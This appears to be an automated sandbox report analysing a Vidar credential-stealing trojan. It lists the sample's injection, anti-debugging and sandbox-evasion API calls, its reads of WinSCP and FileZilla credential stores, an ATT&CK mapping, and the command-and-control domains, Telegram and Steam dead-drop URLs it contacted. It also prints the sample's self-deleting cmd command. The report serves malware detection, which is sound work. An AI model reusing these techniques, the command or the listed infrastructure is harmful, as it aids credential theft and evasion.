Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_00304F80 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcat,strtok_s,strtok_s,memset,lstrcat,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose,	0_2_00304F80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002FB390 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002FB390

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_003053C0 GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpy,lstrcpy,lstrcpy,lstrlen,

0_2_003053C0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_002FFDA0 GetSystemInfo,wsprintfA,

0_2_002FFDA0

Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002F9E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002F2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002F2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

API call chain: ExitProcess graph end node

graph_0-16161

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_0030D12F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0030D12F

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_002F2000 VirtualProtect 00000000,00000004,00000100,?

0_2_002F2000

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

0_2_00307A40

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_003076E0 mov eax, dword ptr fs:[00000030h]

0_2_003076E0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_00300420 GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,RtlAllocateHeap,wsprintfA,lstrcat,GetCurrentHwProfileA,lstrlen,lstrcat,

0_2_00300420

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_0030ECC8 SetUnhandledExceptionFilter,	0_2_0030ECC8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_0030D12F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0030D12F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_0030CAF5 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0030CAF5

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe PID: 6924, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_002FED80 memset,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,ResumeThread,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,

0_2_002FED80

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_00301400 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00301400
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_003012F0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_003012F0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe" & rd /s /q "C:\ProgramData\AEGHIJEHJDHI" & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_002F1000 cpuid

0_2_002F1000

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_002FFC30

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_0030A440 GetLocalTime,SystemTimeToFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

0_2_0030A440

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_002FFAE0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_002FFAE0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_002FFBC0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_002FFBC0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000003007000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe.2f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe PID: 6924, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe.2f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe PID: 6924, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	211 Process Injection	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	21 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	45 System Information Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	41 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	211 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	63%	ReversingLabs	Win32.Trojan.Vidar
SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	69%	Virustotal		Browse
SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
steamcommunity.com	0%	Virustotal	Browse
t.me	0%	Virustotal	Browse
arpdabl.zapto.org	12%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	URL Reputation	safe
https://steamcommunity.com/?subsection=broadcasts	0%	Avira URL Cloud	safe
https://store.steampowered.com/subscriber_agreement/	0%	Avira URL Cloud	safe
https://store.steampowered.c	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	0%	URL Reputation	safe
https://player.vimeo.com	0%	Avira URL Cloud	safe
http://arpdabl.zapto.org/s	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	0%	URL Reputation	safe
https://steamcommunity.com/?subsection=broadcasts	0%	Virustotal		Browse
https://player.vimeo.com	0%	Virustotal		Browse
https://www.gstatic.cn/recaptcha/	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199747278259r	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	Avira URL Cloud	safe
https://recaptcha.net	0%	URL Reputation	safe
https://store.steampowered.com/subscriber_agreement/	0%	Virustotal		Browse
https://t.me/armad2a4	0%	Avira URL Cloud	safe
https://telegram.org/img/t_logo_2x.png	0%	Avira URL Cloud	safe
http://arpdabl.zapto.org/s	12%	Virustotal		Browse
http://www.valvesoftware.com/legal.htm	0%	Avira URL Cloud	safe
http://www.valvesoftware.com/legal.htm	0%	Virustotal		Browse
https://telegram.org/img/t_logo_2x.png	0%	Virustotal		Browse
https://www.youtube.com	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	Avira URL Cloud	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0%	Virustotal		Browse
https://www.youtube.com	0%	Virustotal		Browse
https://www.gstatic.cn/recaptcha/	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199747278259/badges	100%	Avira URL Cloud	malware
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	Avira URL Cloud	safe
https://188.245.87.202/	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	Avira URL Cloud	safe
https://s.ytimg.com;	0%	Avira URL Cloud	safe
http://arpdabl.zapto.org/n	0%	Avira URL Cloud	safe
https://steam.tv/	0%	Avira URL Cloud	safe
https://188.245.87.202/	16%	Virustotal		Browse
https://steamcommunity.com/profiles/76561199747278259/badges	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=WRaH	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	Avira URL Cloud	safe
https://steam.tv/	0%	Virustotal		Browse
https://t.me/armad2a	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	Virustotal		Browse
http://store.steampowered.com/privacy_agreement/	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	Virustotal		Browse
https://store.steampowered.com/points/shop/	0%	Avira URL Cloud	safe
http://arpdabl.zapto.org38.149	0%	Avira URL Cloud	safe
https://t.me/armad2a	3%	Virustotal		Browse
https://steamcommunity.com/profiles/76561199747278259gi_z2Mozilla/5.0	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=WRaH	0%	Virustotal		Browse
http://store.steampowered.com/privacy_agreement/	0%	Virustotal		Browse
https://sketchfab.com	0%	Avira URL Cloud	safe
https://www.youtube.com/	0%	Avira URL Cloud	safe
https://lv.queniujq.cn	0%	Avira URL Cloud	safe
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	Avira URL Cloud	safe
https://store.steampowered.com/privacy_agreement/	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199747278259gi_z2Mozilla/5.0	0%	Virustotal		Browse
https://store.steampowered.com/points/shop/	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=QI-9YLc_mdtk&l=en	0%	Avira URL Cloud	safe
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	Virustotal		Browse
https://sketchfab.com	0%	Virustotal		Browse
https://lv.queniujq.cn	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199747278259	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=puGcKUBV	0%	Avira URL Cloud	safe
https://www.google.com/recaptcha/	0%	Avira URL Cloud	safe
https://checkout.steampowered.com/	0%	Avira URL Cloud	safe
https://188.245.87.202/rosoft	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199747278259ex	0%	Avira URL Cloud	safe
http://arpdabl.zapto.org	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	0%	Avira URL Cloud	safe
https://www.youtube.com/	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	Avira URL Cloud	safe
https://188.245.87.202/0	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	0%	Avira URL Cloud	safe
https://store.steampowered.com/;	0%	Avira URL Cloud	safe
https://store.steampowered.com/about/	0%	Avira URL Cloud	safe
https://steamcommunity.com/my/wishlist/	0%	Avira URL Cloud	safe
https://t.me/	0%	Avira URL Cloud	safe
https://188.245.87.202/T	0%	Avira URL Cloud	safe
https://web.telegram.org	0%	Avira URL Cloud	safe
https://t.me/armad2ahellosqls.dllsqlite3.dllIn	0%	Avira URL Cloud	safe
https://help.steampowered.com/en/	0%	Avira URL Cloud	safe
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	0%	Avira URL Cloud	safe
https://steamcommunity.com/market/	0%	Avira URL Cloud	safe
https://store.steampowered.com/news/	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/	0%	Avira URL Cloud	safe
http://arpdabl.zapto..5938.149	0%	Avira URL Cloud	safe
http://store.steampowered.com/subscriber_agreement/	0%	Avira URL Cloud	safe
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199747278259/inventory/	100%	Avira URL Cloud	malware
https://recaptcha.net/recaptcha/;	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	23.50.98.133	true	true	0%, Virustotal, Browse	unknown
t.me	149.154.167.99	true	false	0%, Virustotal, Browse	unknown
arpdabl.zapto.org	0.0.0.0	true	false	12%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://t.me/armad2a	false	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199747278259	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://player.vimeo.com	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://store.steampowered.c	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/?subsection=broadcasts	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://arpdabl.zapto.org/s	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	true	12%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://store.steampowered.com/subscriber_agreement/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.gstatic.cn/recaptcha/	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199747278259r	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://t.me/armad2a4	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://telegram.org/img/t_logo_2x.png	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.valvesoftware.com/legal.htm	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.youtube.com	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	false	URL Reputation: safe	unknown
